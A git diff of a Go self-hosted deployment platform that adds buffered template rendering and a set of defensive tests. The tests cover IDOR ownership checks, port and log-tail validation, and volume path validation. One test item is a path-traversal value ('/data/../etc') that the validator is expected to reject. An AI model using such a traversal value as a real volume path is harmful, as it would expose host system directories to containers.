|
|
||||||
h.log.Error("template execution failed", "error", err)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -42,7 +38,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
|
|||||||
|
|
||||||
if username == "" || password == "" {
|
if username == "" || password == "" {
|
||||||
data["Error"] = "Username and password are required"
|
data["Error"] = "Username and password are required"
|
||||||
_ = tmpl.ExecuteTemplate(writer, "login.html", data)
|
h.renderTemplate(writer, tmpl, "login.html", data)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -50,7 +46,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
|
|||||||
user, authErr := h.auth.Authenticate(request.Context(), username, password)
|
user, authErr := h.auth.Authenticate(request.Context(), username, password)
|
||||||
if authErr != nil {
|
if authErr != nil {
|
||||||
data["Error"] = "Invalid username or password"
|
data["Error"] = "Invalid username or password"
|
||||||
_ = tmpl.ExecuteTemplate(writer, "login.html", data)
|
h.renderTemplate(writer, tmpl, "login.html", data)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -60,7 +56,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
|
|||||||
h.log.Error("failed to create session", "error", sessionErr)
|
h.log.Error("failed to create session", "error", sessionErr)
|
||||||
|
|
||||||
data["Error"] = "Failed to create session"
|
data["Error"] = "Failed to create session"
|
||||||
_ = tmpl.ExecuteTemplate(writer, "login.html", data)
|
h.renderTemplate(writer, tmpl, "login.html", data)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -69,10 +69,6 @@ func (h *Handlers) HandleDashboard() http.HandlerFunc {
|
|||||||
"AppStats": appStats,
|
"AppStats": appStats,
|
||||||
}, request)
|
}, request)
|
||||||
|
|
||||||
execErr := tmpl.ExecuteTemplate(writer, "dashboard.html", data)
|
h.renderTemplate(writer, tmpl, "dashboard.html", data)
|
||||||
if execErr != nil {
|
|
||||||
h.log.Error("template execution failed", "error", execErr)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,8 +2,8 @@
|
|||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"html/template"
|
|
||||||
"log/slog"
|
"log/slog"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
|
||||||
@@ -19,6 +19,7 @@ import (
|
|||||||
"git.eeqj.de/sneak/upaas/internal/service/auth"
|
"git.eeqj.de/sneak/upaas/internal/service/auth"
|
||||||
"git.eeqj.de/sneak/upaas/internal/service/deploy"
|
"git.eeqj.de/sneak/upaas/internal/service/deploy"
|
||||||
"git.eeqj.de/sneak/upaas/internal/service/webhook"
|
"git.eeqj.de/sneak/upaas/internal/service/webhook"
|
||||||
|
"git.eeqj.de/sneak/upaas/templates"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Params contains dependencies for Handlers.
|
// Params contains dependencies for Handlers.
|
||||||
@@ -75,12 +76,34 @@ func (h *Handlers) addGlobals(
|
|||||||
data["Appname"] = h.globals.Appname
|
data["Appname"] = h.globals.Appname
|
||||||
|
|
||||||
if request != nil {
|
if request != nil {
|
||||||
data["CSRFField"] = template.HTML(csrf.TemplateField(request)) //nolint:gosec // csrf.TemplateField produces safe HTML
|
data["CSRFField"] = csrf.TemplateField(request)
|
||||||
}
|
}
|
||||||
|
|
||||||
return data
|
return data
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// renderTemplate executes the named template into a buffer first, then writes
|
||||||
|
// to the ResponseWriter only on success. This prevents partial/corrupt HTML
|
||||||
|
// responses when template execution fails partway through.
|
||||||
|
func (h *Handlers) renderTemplate(
|
||||||
|
writer http.ResponseWriter,
|
||||||
|
tmpl *templates.TemplateExecutor,
|
||||||
|
name string,
|
||||||
|
data any,
|
||||||
|
) {
|
||||||
|
var buf bytes.Buffer
|
||||||
|
|
||||||
|
err := tmpl.ExecuteTemplate(&buf, name, data)
|
||||||
|
if err != nil {
|
||||||
|
h.log.Error("template execution failed", "error", err)
|
||||||
|
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _ = buf.WriteTo(writer)
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handlers) respondJSON(
|
func (h *Handlers) respondJSON(
|
||||||
writer http.ResponseWriter,
|
writer http.ResponseWriter,
|
||||||
_ *http.Request,
|
_ *http.Request,
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/url"
|
"net/url"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -14,6 +15,8 @@ import (
|
|||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
"go.uber.org/fx"
|
"go.uber.org/fx"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/models"
|
||||||
|
|
||||||
"git.eeqj.de/sneak/upaas/internal/config"
|
"git.eeqj.de/sneak/upaas/internal/config"
|
||||||
"git.eeqj.de/sneak/upaas/internal/database"
|
"git.eeqj.de/sneak/upaas/internal/database"
|
||||||
"git.eeqj.de/sneak/upaas/internal/docker"
|
"git.eeqj.de/sneak/upaas/internal/docker"
|
||||||
@@ -21,6 +24,7 @@ import (
|
|||||||
"git.eeqj.de/sneak/upaas/internal/handlers"
|
"git.eeqj.de/sneak/upaas/internal/handlers"
|
||||||
"git.eeqj.de/sneak/upaas/internal/healthcheck"
|
"git.eeqj.de/sneak/upaas/internal/healthcheck"
|
||||||
"git.eeqj.de/sneak/upaas/internal/logger"
|
"git.eeqj.de/sneak/upaas/internal/logger"
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/middleware"
|
||||||
"git.eeqj.de/sneak/upaas/internal/service/app"
|
"git.eeqj.de/sneak/upaas/internal/service/app"
|
||||||
"git.eeqj.de/sneak/upaas/internal/service/auth"
|
"git.eeqj.de/sneak/upaas/internal/service/auth"
|
||||||
"git.eeqj.de/sneak/upaas/internal/service/deploy"
|
"git.eeqj.de/sneak/upaas/internal/service/deploy"
|
||||||
@@ -29,10 +33,11 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
type testContext struct {
|
type testContext struct {
|
||||||
handlers *handlers.Handlers
|
handlers *handlers.Handlers
|
||||||
database *database.Database
|
database *database.Database
|
||||||
authSvc *auth.Service
|
authSvc *auth.Service
|
||||||
appSvc *app.Service
|
appSvc *app.Service
|
||||||
|
middleware *middleware.Middleware
|
||||||
}
|
}
|
||||||
|
|
||||||
func createTestConfig(t *testing.T) *config.Config {
|
func createTestConfig(t *testing.T) *config.Config {
|
||||||
@@ -163,11 +168,20 @@ func setupTestHandlers(t *testing.T) *testContext {
|
|||||||
)
|
)
|
||||||
require.NoError(t, handlerErr)
|
require.NoError(t, handlerErr)
|
||||||
|
|
||||||
|
mw, mwErr := middleware.New(fx.Lifecycle(nil), middleware.Params{
|
||||||
|
Logger: logInstance,
|
||||||
|
Globals: globalInstance,
|
||||||
|
Config: cfg,
|
||||||
|
Auth: authSvc,
|
||||||
|
})
|
||||||
|
require.NoError(t, mwErr)
|
||||||
|
|
||||||
return &testContext{
|
return &testContext{
|
||||||
handlers: handlersInstance,
|
handlers: handlersInstance,
|
||||||
database: dbInstance,
|
database: dbInstance,
|
||||||
authSvc: authSvc,
|
authSvc: authSvc,
|
||||||
appSvc: appSvc,
|
appSvc: appSvc,
|
||||||
|
middleware: mw,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -426,6 +440,29 @@ func addChiURLParams(
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// createTestApp creates an app using the app service and returns it.
|
||||||
|
func createTestApp(
|
||||||
|
t *testing.T,
|
||||||
|
tc *testContext,
|
||||||
|
name string,
|
||||||
|
) *models.App {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
createdApp, err := tc.appSvc.CreateApp(
|
||||||
|
context.Background(),
|
||||||
|
app.CreateAppInput{
|
||||||
|
Name: name,
|
||||||
|
RepoURL: "git@example.com:user/" + name + ".git",
|
||||||
|
Branch: "main",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
return createdApp
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHandleWebhookRejectsOversizedBody tests that oversized webhook payloads
|
||||||
|
// are handled gracefully.
|
||||||
func TestHandleWebhookRejectsOversizedBody(t *testing.T) {
|
func TestHandleWebhookRejectsOversizedBody(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -467,6 +504,238 @@ func TestHandleWebhookRejectsOversizedBody(t *testing.T) {
|
|||||||
assert.Equal(t, http.StatusOK, recorder.Code)
|
assert.Equal(t, http.StatusOK, recorder.Code)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ownedResourceTestConfig configures an IDOR ownership verification test.
|
||||||
|
type ownedResourceTestConfig struct {
|
||||||
|
appPrefix1 string
|
||||||
|
appPrefix2 string
|
||||||
|
createFn func(t *testing.T, tc *testContext, app *models.App) int64
|
||||||
|
deletePath func(appID string, resourceID int64) string
|
||||||
|
chiParams func(appID string, resourceID int64) map[string]string
|
||||||
|
handler func(h *handlers.Handlers) http.HandlerFunc
|
||||||
|
verifyFn func(t *testing.T, tc *testContext, resourceID int64)
|
||||||
|
}
|
||||||
|
|
||||||
|
func testOwnershipVerification(t *testing.T, cfg ownedResourceTestConfig) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
app1 := createTestApp(t, testCtx, cfg.appPrefix1)
|
||||||
|
app2 := createTestApp(t, testCtx, cfg.appPrefix2)
|
||||||
|
|
||||||
|
resourceID := cfg.createFn(t, testCtx, app1)
|
||||||
|
|
||||||
|
request := httptest.NewRequest(
|
||||||
|
http.MethodPost,
|
||||||
|
cfg.deletePath(app2.ID, resourceID),
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
request = addChiURLParams(request, cfg.chiParams(app2.ID, resourceID))
|
||||||
|
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := cfg.handler(testCtx.handlers)
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusNotFound, recorder.Code)
|
||||||
|
cfg.verifyFn(t, testCtx, resourceID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDeleteEnvVarOwnershipVerification tests that deleting an env var
|
||||||
|
// via another app's URL path returns 404 (IDOR prevention).
|
||||||
|
func TestDeleteEnvVarOwnershipVerification(t *testing.T) { //nolint:dupl // intentionally similar IDOR test pattern
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testOwnershipVerification(t, ownedResourceTestConfig{
|
||||||
|
appPrefix1: "envvar-owner-app",
|
||||||
|
appPrefix2: "envvar-other-app",
|
||||||
|
createFn: func(t *testing.T, tc *testContext, ownerApp *models.App) int64 {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
envVar := models.NewEnvVar(tc.database)
|
||||||
|
envVar.AppID = ownerApp.ID
|
||||||
|
envVar.Key = "SECRET"
|
||||||
|
envVar.Value = "hunter2"
|
||||||
|
require.NoError(t, envVar.Save(context.Background()))
|
||||||
|
|
||||||
|
return envVar.ID
|
||||||
|
},
|
||||||
|
deletePath: func(appID string, resourceID int64) string {
|
||||||
|
return "/apps/" + appID + "/env/" + strconv.FormatInt(resourceID, 10) + "/delete"
|
||||||
|
},
|
||||||
|
chiParams: func(appID string, resourceID int64) map[string]string {
|
||||||
|
return map[string]string{"id": appID, "envID": strconv.FormatInt(resourceID, 10)}
|
||||||
|
},
|
||||||
|
handler: func(h *handlers.Handlers) http.HandlerFunc { return h.HandleEnvVarDelete() },
|
||||||
|
verifyFn: func(t *testing.T, tc *testContext, resourceID int64) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
found, findErr := models.FindEnvVar(context.Background(), tc.database, resourceID)
|
||||||
|
require.NoError(t, findErr)
|
||||||
|
assert.NotNil(t, found, "env var should still exist after IDOR attempt")
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDeleteLabelOwnershipVerification tests that deleting a label
|
||||||
|
// via another app's URL path returns 404 (IDOR prevention).
|
||||||
|
func TestDeleteLabelOwnershipVerification(t *testing.T) { //nolint:dupl // intentionally similar IDOR test pattern
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testOwnershipVerification(t, ownedResourceTestConfig{
|
||||||
|
appPrefix1: "label-owner-app",
|
||||||
|
appPrefix2: "label-other-app",
|
||||||
|
createFn: func(t *testing.T, tc *testContext, ownerApp *models.App) int64 {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
lbl := models.NewLabel(tc.database)
|
||||||
|
lbl.AppID = ownerApp.ID
|
||||||
|
lbl.Key = "traefik.enable"
|
||||||
|
lbl.Value = "true"
|
||||||
|
require.NoError(t, lbl.Save(context.Background()))
|
||||||
|
|
||||||
|
return lbl.ID
|
||||||
|
},
|
||||||
|
deletePath: func(appID string, resourceID int64) string {
|
||||||
|
return "/apps/" + appID + "/labels/" + strconv.FormatInt(resourceID, 10) + "/delete"
|
||||||
|
},
|
||||||
|
chiParams: func(appID string, resourceID int64) map[string]string {
|
||||||
|
return map[string]string{"id": appID, "labelID": strconv.FormatInt(resourceID, 10)}
|
||||||
|
},
|
||||||
|
handler: func(h *handlers.Handlers) http.HandlerFunc { return h.HandleLabelDelete() },
|
||||||
|
verifyFn: func(t *testing.T, tc *testContext, resourceID int64) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
found, findErr := models.FindLabel(context.Background(), tc.database, resourceID)
|
||||||
|
require.NoError(t, findErr)
|
||||||
|
assert.NotNil(t, found, "label should still exist after IDOR attempt")
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDeleteVolumeOwnershipVerification tests that deleting a volume
|
||||||
|
// via another app's URL path returns 404 (IDOR prevention).
|
||||||
|
func TestDeleteVolumeOwnershipVerification(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
app1 := createTestApp(t, testCtx, "volume-owner-app")
|
||||||
|
app2 := createTestApp(t, testCtx, "volume-other-app")
|
||||||
|
|
||||||
|
// Create volume belonging to app1
|
||||||
|
volume := models.NewVolume(testCtx.database)
|
||||||
|
volume.AppID = app1.ID
|
||||||
|
volume.HostPath = "/data/app1"
|
||||||
|
volume.ContainerPath = "/app/data"
|
||||||
|
volume.ReadOnly = false
|
||||||
|
require.NoError(t, volume.Save(context.Background()))
|
||||||
|
|
||||||
|
// Try to delete app1's volume using app2's URL path
|
||||||
|
request := httptest.NewRequest(
|
||||||
|
http.MethodPost,
|
||||||
|
"/apps/"+app2.ID+"/volumes/"+strconv.FormatInt(volume.ID, 10)+"/delete",
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
request = addChiURLParams(request, map[string]string{
|
||||||
|
"id": app2.ID,
|
||||||
|
"volumeID": strconv.FormatInt(volume.ID, 10),
|
||||||
|
})
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandleVolumeDelete()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusNotFound, recorder.Code)
|
||||||
|
|
||||||
|
// Verify the volume was NOT deleted
|
||||||
|
found, err := models.FindVolume(context.Background(), testCtx.database, volume.ID)
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.NotNil(t, found, "volume should still exist after IDOR attempt")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDeletePortOwnershipVerification tests that deleting a port
|
||||||
|
// via another app's URL path returns 404 (IDOR prevention).
|
||||||
|
func TestDeletePortOwnershipVerification(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
app1 := createTestApp(t, testCtx, "port-owner-app")
|
||||||
|
app2 := createTestApp(t, testCtx, "port-other-app")
|
||||||
|
|
||||||
|
// Create port belonging to app1
|
||||||
|
port := models.NewPort(testCtx.database)
|
||||||
|
port.AppID = app1.ID
|
||||||
|
port.HostPort = 8080
|
||||||
|
port.ContainerPort = 80
|
||||||
|
port.Protocol = models.PortProtocolTCP
|
||||||
|
require.NoError(t, port.Save(context.Background()))
|
||||||
|
|
||||||
|
// Try to delete app1's port using app2's URL path
|
||||||
|
request := httptest.NewRequest(
|
||||||
|
http.MethodPost,
|
||||||
|
"/apps/"+app2.ID+"/ports/"+strconv.FormatInt(port.ID, 10)+"/delete",
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
request = addChiURLParams(request, map[string]string{
|
||||||
|
"id": app2.ID,
|
||||||
|
"portID": strconv.FormatInt(port.ID, 10),
|
||||||
|
})
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandlePortDelete()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusNotFound, recorder.Code)
|
||||||
|
|
||||||
|
// Verify the port was NOT deleted
|
||||||
|
found, err := models.FindPort(context.Background(), testCtx.database, port.ID)
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.NotNil(t, found, "port should still exist after IDOR attempt")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHandleCancelDeployRedirects(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
createdApp := createTestApp(t, testCtx, "cancel-deploy-app")
|
||||||
|
|
||||||
|
request := httptest.NewRequest(
|
||||||
|
http.MethodPost,
|
||||||
|
"/apps/"+createdApp.ID+"/deployments/cancel",
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
request = addChiURLParams(request, map[string]string{"id": createdApp.ID})
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandleCancelDeploy()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusSeeOther, recorder.Code)
|
||||||
|
assert.Equal(t, "/apps/"+createdApp.ID, recorder.Header().Get("Location"))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHandleCancelDeployReturns404ForUnknownApp(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
request := httptest.NewRequest(
|
||||||
|
http.MethodPost,
|
||||||
|
"/apps/nonexistent/deployments/cancel",
|
||||||
|
nil,
|
||||||
|
)
|
||||||
|
request = addChiURLParams(request, map[string]string{"id": "nonexistent"})
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandleCancelDeploy()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusNotFound, recorder.Code)
|
||||||
|
}
|
||||||
|
|
||||||
func TestHandleWebhookReturns404ForUnknownSecret(t *testing.T) {
|
func TestHandleWebhookReturns404ForUnknownSecret(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
39
internal/handlers/port_validation_test.go
Normal file
39
internal/handlers/port_validation_test.go
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
package handlers //nolint:testpackage // tests unexported parsePortValues function
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestParsePortValues(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
host string
|
||||||
|
container string
|
||||||
|
wantHost int
|
||||||
|
wantCont int
|
||||||
|
wantValid bool
|
||||||
|
}{
|
||||||
|
{"valid ports", "8080", "80", 8080, 80, true},
|
||||||
|
{"port 1", "1", "1", 1, 1, true},
|
||||||
|
{"port 65535", "65535", "65535", 65535, 65535, true},
|
||||||
|
{"host port above 65535", "99999", "80", 0, 0, false},
|
||||||
|
{"container port above 65535", "80", "99999", 0, 0, false},
|
||||||
|
{"both ports above 65535", "70000", "70000", 0, 0, false},
|
||||||
|
{"zero port", "0", "80", 0, 0, false},
|
||||||
|
{"negative port", "-1", "80", 0, 0, false},
|
||||||
|
{"non-numeric", "abc", "80", 0, 0, false},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
host, cont, valid := parsePortValues(tt.host, tt.container)
|
||||||
|
if host != tt.wantHost || cont != tt.wantCont || valid != tt.wantValid {
|
||||||
|
t.Errorf("parsePortValues(%q, %q) = (%d, %d, %v), want (%d, %d, %v)",
|
||||||
|
tt.host, tt.container, host, cont, valid,
|
||||||
|
tt.wantHost, tt.wantCont, tt.wantValid)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
73
internal/handlers/render_template_test.go
Normal file
73
internal/handlers/render_template_test.go
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
package handlers_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestRenderTemplateBuffersOutput verifies that successful template rendering
|
||||||
|
// produces a complete HTML response (not partial/corrupt).
|
||||||
|
func TestRenderTemplateBuffersOutput(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
// The setup page is simple and has no DB dependencies
|
||||||
|
request := httptest.NewRequest(http.MethodGet, "/setup", nil)
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandleSetupGET()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusOK, recorder.Code)
|
||||||
|
|
||||||
|
body := recorder.Body.String()
|
||||||
|
// A properly buffered response should contain the closing </html> tag,
|
||||||
|
// proving the full template was rendered before being sent.
|
||||||
|
assert.Contains(t, body, "</html>")
|
||||||
|
// Should NOT contain the error text that would be appended on failure
|
||||||
|
assert.NotContains(t, body, "Internal Server Error")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDashboardRenderTemplateBuffersOutput verifies the dashboard handler
|
||||||
|
// also uses buffered template rendering.
|
||||||
|
func TestDashboardRenderTemplateBuffersOutput(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
request := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandleDashboard()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusOK, recorder.Code)
|
||||||
|
|
||||||
|
body := recorder.Body.String()
|
||||||
|
assert.Contains(t, body, "</html>")
|
||||||
|
assert.NotContains(t, body, "Internal Server Error")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLoginRenderTemplateBuffersOutput verifies the login handler
|
||||||
|
// uses buffered template rendering.
|
||||||
|
func TestLoginRenderTemplateBuffersOutput(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
testCtx := setupTestHandlers(t)
|
||||||
|
|
||||||
|
request := httptest.NewRequest(http.MethodGet, "/login", nil)
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
|
||||||
|
handler := testCtx.handlers.HandleLoginGET()
|
||||||
|
handler.ServeHTTP(recorder, request)
|
||||||
|
|
||||||
|
assert.Equal(t, http.StatusOK, recorder.Code)
|
||||||
|
|
||||||
|
body := recorder.Body.String()
|
||||||
|
assert.Contains(t, body, "</html>")
|
||||||
|
assert.NotContains(t, body, "Internal Server Error")
|
||||||
|
}
|
||||||
@@ -18,11 +18,7 @@ func (h *Handlers) HandleSetupGET() http.HandlerFunc {
|
|||||||
return func(writer http.ResponseWriter, request *http.Request) {
|
return func(writer http.ResponseWriter, request *http.Request) {
|
||||||
data := h.addGlobals(map[string]any{}, request)
|
data := h.addGlobals(map[string]any{}, request)
|
||||||
|
|
||||||
err := tmpl.ExecuteTemplate(writer, "setup.html", data)
|
h.renderTemplate(writer, tmpl, "setup.html", data)
|
||||||
if err != nil {
|
|
||||||
h.log.Error("template execution failed", "error", err)
|
|
||||||
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,7 +58,7 @@ func (h *Handlers) renderSetupError(
|
|||||||
"Username": username,
|
"Username": username,
|
||||||
"Error": errorMsg,
|
"Error": errorMsg,
|
||||||
}, request)
|
}, request)
|
||||||
_ = tmpl.ExecuteTemplate(writer, "setup.html", data)
|
h.renderTemplate(writer, tmpl, "setup.html", data)
|
||||||
}
|
}
|
||||||
|
|
||||||
// HandleSetupPOST handles the setup form submission.
|
// HandleSetupPOST handles the setup form submission.
|
||||||
|
|||||||
40
internal/handlers/tail_validation_test.go
Normal file
40
internal/handlers/tail_validation_test.go
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
package handlers_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/handlers"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSanitizeTail(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
input string
|
||||||
|
expected string
|
||||||
|
}{
|
||||||
|
{"empty uses default", "", handlers.DefaultLogTail},
|
||||||
|
{"valid small number", "50", "50"},
|
||||||
|
{"valid max boundary", "500", "500"},
|
||||||
|
{"exceeds max clamped", "501", "500"},
|
||||||
|
{"very large clamped", "999999", "500"},
|
||||||
|
{"non-numeric uses default", "abc", handlers.DefaultLogTail},
|
||||||
|
{"all keyword uses default", "all", handlers.DefaultLogTail},
|
||||||
|
{"negative uses default", "-1", handlers.DefaultLogTail},
|
||||||
|
{"zero uses default", "0", handlers.DefaultLogTail},
|
||||||
|
{"float uses default", "1.5", handlers.DefaultLogTail},
|
||||||
|
{"one is valid", "1", "1"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range tests {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
got := handlers.SanitizeTail(tc.input)
|
||||||
|
if got != tc.expected {
|
||||||
|
t.Errorf("sanitizeTail(%q) = %q, want %q", tc.input, got, tc.expected)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
34
internal/handlers/volume_validation_test.go
Normal file
34
internal/handlers/volume_validation_test.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
package handlers //nolint:testpackage // tests exported ValidateVolumePath function
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestValidateVolumePath(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
path string
|
||||||
|
wantErr bool
|
||||||
|
}{
|
||||||
|
{"valid absolute path", "/data/myapp", false},
|
||||||
|
{"root path", "/", false},
|
||||||
|
{"empty path", "", true},
|
||||||
|
{"relative path", "data/myapp", true},
|
||||||
|
{"path with dotdot", "/data/../etc", true},
|
||||||
|
{"path with trailing slash", "/data/", true},
|
||||||
|
{"path with double slash", "/data//myapp", true},
|
||||||
|
{"single dot path", ".", true},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
err := ValidateVolumePath(tt.path)
|
||||||
|
if (err != nil) != tt.wantErr {
|
||||||
|
t.Errorf("ValidateVolumePath(%q) error = %v, wantErr %v",
|
||||||
|
tt.path, err, tt.wantErr)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
81
internal/middleware/cors_test.go
Normal file
81
internal/middleware/cors_test.go
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
package middleware //nolint:testpackage // tests internal CORS behavior
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log/slog"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
//nolint:gosec // test credentials
|
||||||
|
func newCORSTestMiddleware(corsOrigins string) *Middleware {
